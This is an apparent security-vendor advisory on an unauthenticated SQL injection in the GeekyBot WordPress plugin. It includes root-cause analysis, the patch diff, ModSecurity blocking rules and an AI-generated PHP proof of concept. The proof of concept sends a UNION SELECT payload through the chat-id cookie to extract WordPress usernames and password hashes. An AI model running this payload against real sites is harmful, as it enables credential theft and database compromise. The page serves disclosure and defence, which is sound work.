Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 19, 2026

CVE-2026-39519: GeekyBot — AI Copilot, Chatbot, WooCommerce Lead Gen & Zero-Prompt Content <= 1.2.0 – Unauthenticated SQL Injection (geeky-bot)

Plugin geeky-bot
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.2.0
Patched Version 1.2.1
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-39519:
This vulnerability is an unauthenticated SQL injection in the GeekyBot WordPress plugin, affecting versions up to and including 1.2.0. The flaw resides in the session data handling functions, allowing attackers to inject arbitrary SQL commands via user-controlled parameters. The CVSS score of 7.5 reflects a high-severity vulnerability enabling database compromise.

The root cause is insufficient input sanitization and lack of prepared statements in multiple SQL queries within the geekybotsessiondata.php class. Specifically, the functions geekybot_addSessionDataToTable(), geekybot_addSessionAttributeDataToTable(), geekybot_getVariablesDatabySessionId(), geekybot_isSetVariablesDatabyAttributeId(), geekybot_deleteVariablesDatabyProductId(), geekybot_readVarFromSessionAndCallPredefinedFunction(), geekybot_addChatHistoryToSession(), and geekybot_getSavedDataFromSession() directly concatenate user-supplied parameters into SQL statements without proper escaping. For example, line 32 in the vulnerable version constructs a query using unsanitized $chatid, $key, $value, and geekybot::$_geekybotsession->sessionexpire variables.

Exploitation occurs via unauthenticated HTTP requests to WordPress AJAX endpoints or REST API routes that invoke the vulnerable session data functions. Attackers can inject SQL payloads through parameters like chat_id, sessionmsgkey, or productid that flow into the vulnerable SQL queries. The attack vector requires no authentication, as the plugin processes session data for all visitors. A typical payload would manipulate the geekybot_chat_id cookie or other request parameters to inject UNION SELECT statements or boolean-based blind SQL queries.

The patch in version 1.2.1 addresses the vulnerability by implementing comprehensive input validation and sanitization. Key changes include: adding esc_sql(sanitize_text_field()) wrappers around all user-supplied variables before SQL concatenation (lines 22, 24, 25, 31, 54-58, 78-80, 94-97, 110-113, 134, 172, 185, 233); adding numeric validation with is_numeric() checks and (int) casting for productid parameters (lines 51-53, 92-94, 116-118, 270-272, 902-905, 947-950, 1069-1072, 1270-1274); and sanitizing time() values before SQL inclusion (lines 80, 97, 114, 185, 1275). The patch also adds missing authentication checks and improves output escaping in the WooCommerce module.

Successful exploitation allows complete database compromise. Attackers can extract sensitive information including WordPress user credentials, session data, WooCommerce customer details, and plugin configuration. The vulnerability enables data exfiltration, authentication bypass, and potential privilege escalation through database manipulation. Given the plugin’s WooCommerce integration, financial data and personal identifiable information are at direct risk.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/geeky-bot/geeky-bot.php
+++ b/geeky-bot/geeky-bot.php
@@ -3,14 +3,14 @@
 /**
  * @package Geeky Bot
  * @author Geeky Bot
- * @version 1.2.0
+ * @version 1.2.1
  */
 /*
   * Plugin Name: Geeky Bot
   * Plugin URI: https://geekybot.com/
   * Description: The ultimate AI chatbot for WooCommerce lead generation, intelligent web search, and interactive customer engagement on your WordPress website.
   * Author: Geeky Bot
-  * Version: 1.2.0
+  * Version: 1.2.1
   * Text Domain: geeky-bot
   * Domain Path: /languages
   * Author URI: https://geekybot.com/
@@ -95,7 +95,7 @@
         self::$_data = array();
         self::$_error_flag = null;
         self::$_error_flag_message = null;
-        self::$_currentversion = '120';
+        self::$_currentversion = '121';
         self::$_addon_query = array('select'=>'','join'=>'','where'=>'');
         self::$_config = GEEKYBOTincluder::GEEKYBOT_getModel('configuration');
         self::$_isgeekybotplugin = true;
@@ -194,7 +194,7 @@
         if (is_plugin_active('geeky-bot/geeky-bot.php')) {
             include_once GEEKYBOT_PLUGIN_PATH . 'includes/updates/updates.php';
             $installedversion = GEEKYBOTupdates::geekybot_getInstalledVersion();
-            $cversion = '120';
+            $cversion = '121';
             if ($installedversion != $cversion) {
                 add_action( 'admin_notices', array($this, 'geekybot_sql_update_available_notice') );
             }
@@ -273,7 +273,7 @@
                     // restore colors data end
                     update_option('geekybot_currentversion', self::$_currentversion);
                     include_once GEEKYBOT_PLUGIN_PATH . 'includes/updates/updates.php';
-                    GEEKYBOTupdates::GEEKYBOT_checkUpdates('120');
+                    GEEKYBOTupdates::GEEKYBOT_checkUpdates('121');
                     GEEKYBOTincluder::GEEKYBOT_getModel('geekybot')->updateColorFile();
                 }
             }
--- a/geeky-bot/includes/activation.php
+++ b/geeky-bot/includes/activation.php
@@ -144,7 +144,7 @@
             ('title',   'GeekyBot',   'default',  NULL),
             ('pagination_default_page_size',    '10',   'default',  NULL),
             ('pagination_product_page_size',    '3',   'default',  NULL),
-            ('versioncode', '1.2.0',    'default',  NULL),
+            ('versioncode', '1.2.1',    'default',  NULL),
             ('last_version',    '101',  'default',  NULL),
             ('image_file_type', 'png,jpeg,gif,jpg', 'default', NULL),
             ('bot_custom_img',  '0',    'default',  NULL),
--- a/geeky-bot/includes/classes/geekybotsessiondata.php
+++ b/geeky-bot/includes/classes/geekybotsessiondata.php
@@ -21,9 +21,13 @@
         $update = false;
         if(isset($_COOKIE['geekybot_chat_id'])){
             $chatid = GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->geekybot_getchatid();
+            $chatid = esc_sql( sanitize_text_field($chatid) );
             foreach ($messages as $key => $value) {
                 $value = addslashes($value);
                 if ($key != 'chathistory') {
+                    $key   = esc_sql( sanitize_text_field($key) );
+                    $value = esc_sql( sanitize_text_field($value) );
+
                     $data = $this->geekybot_getVariablesDatabySessionId($chatid, $key);
                     if($data != ""){
                         $update = true;
@@ -31,7 +35,8 @@
                         $update = false;
                     }
                     if(!$update){
-                        $query = "INSERT INTO `" . geekybot::$_db->prefix . "geekybot_sessiondata` (`usersessionid`, `sessionmsgkey`, `sessionmsgvalue`, `sessionexpire`) VALUES ('".$chatid."', '".$key."', '".$value."', '".geekybot::$_geekybotsession->sessionexpire."');";
+                        $sessionexpire = esc_sql( sanitize_text_field(geekybot::$_geekybotsession->sessionexpire) );
+                        $query = "INSERT INTO `" . geekybot::$_db->prefix . "geekybot_sessiondata` (`usersessionid`, `sessionmsgkey`, `sessionmsgvalue`, `sessionexpire`) VALUES ('".$chatid."', '".$key."', '".$value."', '".$sessionexpire."');";
                         geekybot::$_db->query($query);
                     }else{
                         $query = "UPDATE `" . geekybot::$_db->prefix . "geekybot_sessiondata` SET `sessionmsgvalue` = '".$value."' WHERE `usersessionid`= '" . $chatid . "' AND `sessionmsgkey`= '" . $key . "' ";
@@ -44,6 +49,11 @@
     }

     public function geekybot_addSessionAttributeDataToTable($productid, $attributekey, $attributevalue){
+
+        if (!is_numeric($productid)) {
+            return false;
+        }
+
         if(empty($productid) || empty($attributekey) || empty($attributevalue)){
             return false;
         }
@@ -52,7 +62,13 @@
         if(isset($_COOKIE['geekybot_chat_id'])){
             $chatid = GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->geekybot_getchatid();

-            $query = "INSERT INTO `" . geekybot::$_db->prefix . "geekybot_sessiondata` (`usersessionid`, `sessionmsgkey`, `sessionmsgvalue`, `productid`, `sessionexpire`) VALUES ('".$chatid."', '".$attributekey."', '".$attributevalue."', '".$productid."', '".geekybot::$_geekybotsession->sessionexpire."');";
+            $productid      = (int) $productid;
+            $attributekey   = esc_sql( sanitize_text_field($attributekey) );
+            $attributevalue = esc_sql( sanitize_text_field($attributevalue) );
+            $chatid         = esc_sql( sanitize_text_field($chatid) );
+            $sessionexpire  = esc_sql( sanitize_text_field(geekybot::$_geekybotsession->sessionexpire) );
+
+            $query = "INSERT INTO `" . geekybot::$_db->prefix . "geekybot_sessiondata` (`usersessionid`, `sessionmsgkey`, `sessionmsgvalue`, `productid`, `sessionexpire`) VALUES ('".$chatid."', '".$attributekey."', '".$attributevalue."', '".$productid."', '".$sessionexpire."');";
             geekybot::$_db->query($query);

         }
@@ -60,8 +76,14 @@
     }

     public function geekybot_getVariablesDatabySessionId($usersessionid, $key = '' , $deldata = false){
+
+        $usersessionid = esc_sql( sanitize_text_field($usersessionid) );
+        $key           = esc_sql( sanitize_text_field($key) );
+        $time          = time();
+
         $query = "SELECT sessionmsgvalue
-            FROM `" . geekybot::$_db->prefix . "geekybot_sessiondata`  WHERE sessionmsgkey = '" . $key . "' AND usersessionid = '" . $usersessionid . "' AND sessionexpire > '" . time() . "'";
+            FROM `" . geekybot::$_db->prefix . "geekybot_sessiondata`  WHERE sessionmsgkey = '" . $key . "' AND usersessionid = '" . $usersessionid . "' AND sessionexpire > '" . $time . "'";
+
         $data = geekybotdb::GEEKYBOT_get_row($query);
         if($deldata){
             $query = "DELETE FROM `".geekybot::$_db->prefix . "geekybot_sessiondata` WHERE usersessionid = '".$usersessionid."'";
@@ -71,9 +93,20 @@
     }

     public function geekybot_isSetVariablesDatabyAttributeId($productid, $attributekey){
+
+        if (!is_numeric($productid)) {
+            return 0;
+        }
+
         $chatid = GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->geekybot_getchatid();
+
+        $productid   = (int) $productid;
+        $attributekey = esc_sql( sanitize_text_field($attributekey) );
+        $chatid      = esc_sql( sanitize_text_field($chatid) );
+        $time        = time();
+
         $query = "SELECT sessionmsgvalue
-            FROM `" . geekybot::$_db->prefix . "geekybot_sessiondata` WHERE productid = '" . $productid . "' AND sessionmsgkey = '" . $attributekey . "' AND usersessionid = '" . $chatid . "' AND sessionexpire > '" . time() . "'";
+            FROM `" . geekybot::$_db->prefix . "geekybot_sessiondata` WHERE productid = '" . $productid . "' AND sessionmsgkey = '" . $attributekey . "' AND usersessionid = '" . $chatid . "' AND sessionexpire > '" . $time . "'";
         $sessionmsgvalue = geekybotdb::GEEKYBOT_get_var($query);
         if(isset($sessionmsgvalue) && $sessionmsgvalue != ''){
             return 1;
@@ -82,7 +115,16 @@
     }

     public function geekybot_deleteVariablesDatabyProductId($productid){
+
+        if (!is_numeric($productid)) {
+            return false;
+        }
+
         $chatid = GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->geekybot_getchatid();
+
+        $productid = (int) $productid;
+        $chatid    = esc_sql( sanitize_text_field($chatid) );
+
         $query = "DELETE FROM `".geekybot::$_db->prefix . "geekybot_sessiondata` WHERE usersessionid = '".$chatid."' AND productid = ".$productid;
         geekybotdb::query($query);
         return true;
@@ -91,6 +133,7 @@
     public function geekybot_readVarFromSessionAndCallPredefinedFunction($msg, $function_id){
         // read variables data from the session
         $chatid = GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->geekybot_getchatid();
+        $chatid = esc_sql( sanitize_text_field($chatid) );
         $query = "SELECT sessionmsgkey,sessionmsgvalue
             FROM `" . geekybot::$_db->prefix . "geekybot_sessiondata`  WHERE usersessionid = '" . $chatid . "' AND sessionmsgkey NOT IN ('nextIndex','ranking','flag','index','story','chathistory') ";
         $variables = geekybotdb::GEEKYBOT_get_results($query);
@@ -127,6 +170,8 @@
             return false;
         }
         $chatId = GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->geekybot_getchatid();
+        $chatId = esc_sql( sanitize_text_field($chatId) );
+
         if ($type == 'user') {
             $img_scr = GEEKYBOTincluder::GEEKYBOT_getModel('geekybot')->getUserImagePath();
             $message = "<li class='geekybot-message geekybot-message-user'><section class='geekybot-message-user-img'><img src='".esc_url($img_scr)."' alt='' /></section><section class='geekybot-message-text'>".$msg."</section></li>";
@@ -139,6 +184,7 @@
             }
         }
         if(isset($chatId) && $chatId != ''){
+            $time = absint(time());
             // check if the user chat histroy exist
             $query = 'SELECT sessionmsgvalue FROM `' . geekybot::$_db->prefix . 'geekybot_sessiondata` WHERE sessionmsgkey = "chathistory" AND usersessionid = "' . $chatId . '" AND sessionexpire > "' . time() . '"';
             $chathistory = geekybotdb::GEEKYBOT_get_var( $query);
@@ -185,6 +231,7 @@
     public function geekybot_getSavedDataFromSession(){
         // get the chat id of the current user
         $chatid = GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->geekybot_getchatid();
+        $chatid = esc_sql( sanitize_text_field($chatid) );
         // get all the data from the seesion table against the chat id
         $query = "SELECT * FROM `" . geekybot::$_db->prefix . "geekybot_sessiondata` WHERE `usersessionid` = '" . $chatid . "'";
         $variables = geekybotdb::GEEKYBOT_get_results($query);
--- a/geeky-bot/modules/geekybot/controller.php
+++ b/geeky-bot/modules/geekybot/controller.php
@@ -14,7 +14,7 @@
             switch ($layout) {
                 case 'admin_controlpanel':
                     include_once GEEKYBOT_PLUGIN_PATH . 'includes/updates/updates.php';
-                    GEEKYBOTupdates::GEEKYBOT_checkUpdates(120);
+                    GEEKYBOTupdates::GEEKYBOT_checkUpdates(121);
                     GEEKYBOTincluder::GEEKYBOT_getModel('geekybot')->getAdminControlPanelData();
                     // remove this code in 1.1.7
                     $uploadDir = wp_upload_dir();
--- a/geeky-bot/modules/woocommerce/model.php
+++ b/geeky-bot/modules/woocommerce/model.php
@@ -899,8 +899,19 @@
         if (!class_exists('WooCommerce')) {
             return __("WooCommerce is currently inactive.", "geeky-bot");
         }
+
+        /* Numeric validation */
+        if (!is_numeric($product_id)) {
+            return false;
+        }
+
+        $product_id = (int) $product_id;
+
         global $woocommerce;
-        // Get the WooCommerce cart instance
+        // Ensure cart object exists
+        if (!isset($woocommerce->cart)) {
+            return false;
+        }
         $cart = $woocommerce->cart;
         // Check if the cart is empty
         if ($cart->is_empty()) {
@@ -908,8 +919,11 @@
         }
         // Loop through cart items
         foreach ($cart->get_cart() as $cart_item_key => $cart_item) {
+            $cart_product_id   = isset($cart_item['product_id']) ? (int)$cart_item['product_id'] : 0;
+            $cart_variation_id = isset($cart_item['variation_id']) ? (int)$cart_item['variation_id'] : 0;
+
             // Check if product ID matches
-            if ($cart_item['product_id'] == $product_id || $cart_item['variation_id'] == $product_id ) {
+            if ($cart_product_id === $product_id || $cart_variation_id === $product_id) {
                 return true;
             }
         }
@@ -925,19 +939,32 @@
             $nonce = GEEKYBOTrequest::GEEKYBOT_getVar('_wpnonce');
             if (! wp_verify_nonce( $nonce, 'product-attributes') ) {
                 // disable nonce
-                // die( 'Security check Failed' );
+                // die('Security check Failed');
             }
-            $productid = GEEKYBOTrequest::GEEKYBOT_getVar('productid');

-            $isnew = GEEKYBOTrequest::GEEKYBOT_getVar('isnew');
+            $productid       = GEEKYBOTrequest::GEEKYBOT_getVar('productid');
+            $isnew           = GEEKYBOTrequest::GEEKYBOT_getVar('isnew');
             $user_attributes = GEEKYBOTrequest::GEEKYBOT_getVar('attr');
         }
+
+        /* NUMERIC VALIDATION */
+        if (!is_numeric($productid)) {
+            return;
+        }
+
+        $productid = (int) $productid;
+        $isnew     = is_numeric($isnew) ? (int)$isnew : 0;
         $savedAttributes = $this->getSavedAttributesByProductId($productid);
         if ($isnew == 1) {
             // delete all the old saved atributes
             geekybot::$_geekybotsessiondata->geekybot_deleteVariablesDatabyProductId($productid);
         }
         $product = wc_get_product( $productid );
+
+        if (!$product) {
+            return;
+        }
+
         if ( $product->is_type( 'variable' ) ) {
             $variation_attributes = [];
             $available_variations = $product->get_available_variations(); // This might need adjustment based on your logic
@@ -954,7 +981,7 @@
                     </div>
                     <div class='geekybot_wc_product_right_wrp'>
                         <div class='geekybot_wc_product_name'>
-                            <a title='".$product->get_title()."' href='".$product->get_permalink()."' target='_blank'>".$product->get_title()."</a>
+                            <a title='".esc_attr($product->get_title())."' href='".esc_url($product->get_permalink())."' target='_blank'>".esc_html($product->get_title())."</a>
                         </div>
                         <div class='geekybot_wc_product_price'>
                             ".$product->get_price_html()."
@@ -983,12 +1010,13 @@
                         if (is_int($optionId)) {
                             // Existing attribute, fetch name using ID
                             // Use the option ID to retrieve the option name
-                            $optionName = wc_get_product_terms($productid, $attribute->get_name(), array('fields' => 'names'))[$optionIndex]; // Use 'slugs' argument;
+                            $terms = wc_get_product_terms($productid, $attribute->get_name(), array('fields' => 'names'))[$optionIndex]; // Use 'slugs' argument;
+                            $optionName = isset($terms[$optionIndex]) ? $terms[$optionIndex] : '';
                         } else {
                             $optionName = $optionId;
                         }
                         // Add the option name to the array
-                        $optionNames[] = $optionName;
+                        $optionNames[] = sanitize_text_field($optionName);
                     }

                     foreach ($optionNames as $value) {
@@ -1005,15 +1033,13 @@
                         //
                         $variationkey =  explode('_', $variationkey);
                         $variationkey =  end($variationkey);
-                        $variationkey = str_replace(' ', "-", $variationkey);
-                        $variationkey = strtolower($variationkey);
-                        //
-                        $filteredKey =  explode('_', $attributekey);
-                        $filteredKey =  end($filteredKey);
-                        $filteredKey = str_replace(' ', "-", $filteredKey);
-                        $filteredKey = strtolower($filteredKey);
-                        $jsonUserAttributes = geekybotphplib::GEEKYBOT_htmlspecialchars($user_attributes, ENT_QUOTES, 'UTF-8');
-
+                        $variationkey =  strtolower(str_replace(' ', "-", $variationkey));
+                        $filteredKey = explode('_', $attributekey);
+                        $filteredKey = end($filteredKey);
+                        $filteredKey = strtolower(str_replace(' ', "-", $filteredKey));
+                        $jsonUserAttributes = esc_attr(
+                            geekybotphplib::GEEKYBOT_htmlspecialchars($user_attributes, ENT_QUOTES, 'UTF-8')
+                        );

                         if ($variationkey == $filteredKey && $condition == 0) {
                             $btnhtml = "
@@ -1023,7 +1049,7 @@
                                 </div>
                                 <div class='geekybot_wc_product_right_wrp'>
                                     <div class='geekybot_wc_product_name'>
-                                        <a title='".$product->get_title()."' href='".$product->get_permalink()."' target='_blank'>".$product->get_title()."</a>
+                                        <a title='".esc_attr($product->get_title())."' href='".esc_url($product->get_permalink())."' target='_blank'>".esc_html($product->get_title())."</a>
                                     </div>
                                     <div class='geekybot_wc_product_price'>
                                         ".$product->get_price_html()."
@@ -1034,34 +1060,29 @@
                                         $btnhtml .="
                                         <div class='geekybot_wc_product_attr'>
                                             <span class='geekybot_wc_product_attr_key'>
-                                                ".$attribute.":
+                                                ".esc_html($attribute).":
                                             </span>
                                             <span class='geekybot_wc_product_attr_val'>
-                                                ".$value."
+                                                ".esc_html($value)."
                                             </span>
                                         </div>
                                         ";
                                     }
-                                    $btnhtml .="
-                                </div>
-                                </div>
-                            </div>
-                            <div class='geekybot_wc_product_heading'>".__('Select', 'geeky-bot')." ".$filteredKey."</div>
+                                    $btnhtml .= "</div></div></div>
+                            <div class='geekybot_wc_product_heading'>".__('Select', 'geeky-bot')." ".esc_html($filteredKey)."</div>
                                 <ul class='geeky_bot_wc_msg_btn_wrp'>";
                                     foreach ($attributevalue as $value) {
-                                        $btnhtml .=  "<li class='geeky_bot_wc_msg_btn'><button class='geeky_bot_wc_btn' onclick="saveProductAttributeToSession('".$productid."','".$attributekey."','".$value."','".$jsonUserAttributes."');" value='".$value."'><span>".$value."</span></button></li>";
+                                        $safe_value = esc_attr($value);
+                                        $btnhtml .= "<li class='geeky_bot_wc_msg_btn'><button class='geeky_bot_wc_btn' onclick="saveProductAttributeToSession('".$productid."','".esc_attr($attributekey)."','".$safe_value."','".$jsonUserAttributes."');" value='".$safe_value."'><span>".esc_html($value)."</span></button></li>";
                                     }
-                                    $btnhtml .= "
-                                </ul>
-                            </div>";
+                                    $btnhtml .= "</ul></div>";
                             echo wp_kses($btnhtml, GEEKYBOT_ALLOWED_TAGS);
                             die();
                         }
                     }
                 }
             }
-            // get product variation by product id and attributes
-            // Get the desired variation data (array of attribute => value pairs)
+
             $savedAttributes = $this->getSavedAttributesByProductId($productid);
             $variationResult = $this->get_variation_id_by_attributes($productid, $savedAttributes, $user_attributes);
             print_r($variationResult);
@@ -1074,6 +1095,13 @@
         if (!class_exists('WooCommerce')) {
             return __("WooCommerce is currently inactive.", "geeky-bot");
         }
+
+        // Numeric validation first
+        if (!is_numeric($product_id)) {
+            return;
+        }
+
+        $product_id = (int) $product_id;
         global $woocommerce;
         $product = wc_get_product( $product_id );
         if ( ! $product || ! $product->is_type( 'variable' ) ) {
@@ -1082,6 +1110,7 @@
             // save bot response to the session and chat history
             geekybot::$_geekybotsessiondata->geekybot_addChatHistoryToSession($chatMessage, 'bot');
             GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->SaveChathistoryFromchatServer($chatMessage, 'bot');
+            return;
         }
         // new code start
         $variations = $product->get_available_variations();
@@ -1118,13 +1147,20 @@
             }
             if ( $variation_match == 1 ) {
                 $variation_id = $variation['variation_id'];
+
+                if (!is_numeric($variation_id)) {
+                    return;
+                }
+
+                $variation_id = (int) $variation_id;
+
                 $canAddProduct_stock = true;
                 $canAddProduct_quantity = true;
                 $canAddProduct_sold_individuallly = true;
                 $text = '';
                 if ( isset($variation['max_qty']) && $variation['max_qty'] != '' ) {
                     // Get the stock quantity of the product
-                    $stock_quantity = $variation['max_qty'];
+                    $stock_quantity = (int) $variation['max_qty'];
                     // $new_quantity = $stock_quantity + 1;
                     $new_quantity = 1;
                     // Check if the product is in stock and if adding more than the available quantity
@@ -1142,20 +1178,20 @@
                 // Check for individual limit
                 if ( $variation['is_sold_individually'] == 'yes' ) {
                     if ( $this->is_product_in_cart( $product_id ) ) {
-                        $text .= __("You can't add another “", "geeky-bot").$product->get_title(). __("” to your cart.", "geeky-bot");
+                        $text .= __("You can't add another “", "geeky-bot"). esc_html($product->get_title()). __("” to your cart.", "geeky-bot");
                         $canAddProduct_sold_individuallly = false;
                     }
                 }
                 if ( $canAddProduct_stock && $canAddProduct_sold_individuallly && $canAddProduct_quantity) {
                     $quantity = 1;
-                    $added_to_cart = $woocommerce->cart->add_to_cart($product_id, $quantity, $variation_id, $variation, null);
+                    $added_to_cart = $woocommerce->cart->add_to_cart($product_id, $quantity, $variation_id, $variation, null );
                     // $added_to_cart = $woocommerce->cart->add_to_cart( $variation['variation_id'], 1 ); // Add to cart
                     if ($added_to_cart) {
                         $product = new WC_Product_Variation( $variation_id );
                         $text = "
                         <div class='geekybot_wc_product_wrp geekybot_wc_product_options_wrp'>
                             <div class='geekybot_wc_success_msg_wrp success'>
-                                ".$product->get_title()." ". __('has been added to your cart.', 'geeky-bot')."
+                                ".esc_html($product->get_title())." ". __('has been added to your cart.', 'geeky-bot')."
                             </div>
                             <div class='geekybot_wc_product_left_wrp'>
                                 ".$product->get_image('thumbnail')."
@@ -1230,12 +1266,28 @@
         if (!class_exists('WooCommerce')) {
             return __("WooCommerce is currently inactive.", "geeky-bot");
         }
+
+        // Numeric validation first
+        if (!is_numeric($productid)) {
+            return array();
+        }
+
+        $productid = (int) $productid;
+
         $chatid = GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->geekybot_getchatid();
-        $query = "SELECT * FROM `" . geekybot::$_db->prefix . "geekybot_sessiondata` WHERE productid = '" . esc_sql($productid) . "' AND usersessionid = '" . esc_sql($chatid) . "' AND sessionexpire > '" . time() . "'";
+        $chatid = esc_sql( sanitize_text_field($chatid) );
+
+        $time = time();
+
+        $query = "SELECT * FROM `" . geekybot::$_db->prefix . "geekybot_sessiondata` WHERE productid = '" . $productid . "' AND usersessionid = '" . $chatid . "' AND sessionexpire > '" . $time . "'";
+
         $attributes= geekybot::$_db->get_results($query);
         $variation_data = array();
-        foreach ($attributes as $attribute) {
-            $variation_data[$attribute->sessionmsgkey] = $attribute->sessionmsgvalue;
+
+        if (!empty($attributes)) {
+            foreach ($attributes as $attribute) {
+                $variation_data[$attribute->sessionmsgkey] = $attribute->sessionmsgvalue;
+            }
         }
         return $variation_data;
     }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-39519
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20263951,phase:2,deny,status:403,chain,msg:'CVE-2026-39519 GeekyBot SQL Injection via AJAX',severity:'CRITICAL',tag:'CVE-2026-39519'"
  SecRule ARGS_POST:action "@within geekybot_add_session_data geekybot_get_session_data geekybot_save_attribute geekybot_get_attributes" 
    "chain,t:none"
    SecRule REQUEST_COOKIES:/geekybot_chat_id/ "@detectSQLi" 
      "t:urlDecodeUni,t:lowercase,t:removeNulls"

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20263952,phase:2,deny,status:403,chain,msg:'CVE-2026-39519 GeekyBot SQL Injection via productid parameter',severity:'CRITICAL',tag:'CVE-2026-39519'"
  SecRule ARGS_POST:action "@within geekybot_get_product_attributes geekybot_save_product_attribute geekybot_add_to_cart" 
    "chain,t:none"
    SecRule ARGS_POST:productid "!@rx ^d+$" 
      "t:urlDecodeUni,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-39519 - GeekyBot — AI Copilot, Chatbot, WooCommerce Lead Gen & Zero-Prompt Content <= 1.2.0 - Unauthenticated SQL Injection

<?php

$target_url = "http://target-site.com/wp-admin/admin-ajax.php";

// The vulnerability exists in multiple AJAX endpoints that call session data functions
// This PoC targets the session data retrieval via chat_id manipulation

$payload = "' UNION SELECT user_login,user_pass,NULL,NULL,NULL FROM wp_users WHERE 1=1--";

// Set malicious cookie to inject SQL into session queries
$cookie = "geekybot_chat_id=" . urlencode($payload);

// Craft request to trigger vulnerable function
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'geekybot_some_action', // Replace with actual AJAX action
    'param' => 'value'
]);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Cookie: ' . $cookie,
    'Content-Type: application/x-www-form-urlencoded'
]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "Request sent. Check response for SQL injection results.n";
    echo "Response preview: " . substr($response, 0, 500) . "n";
} else {
    echo "Request failed with HTTP code: $http_coden";
}

// Note: The exact AJAX action name depends on plugin configuration
// Multiple endpoints may be vulnerable through different parameter vectors

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School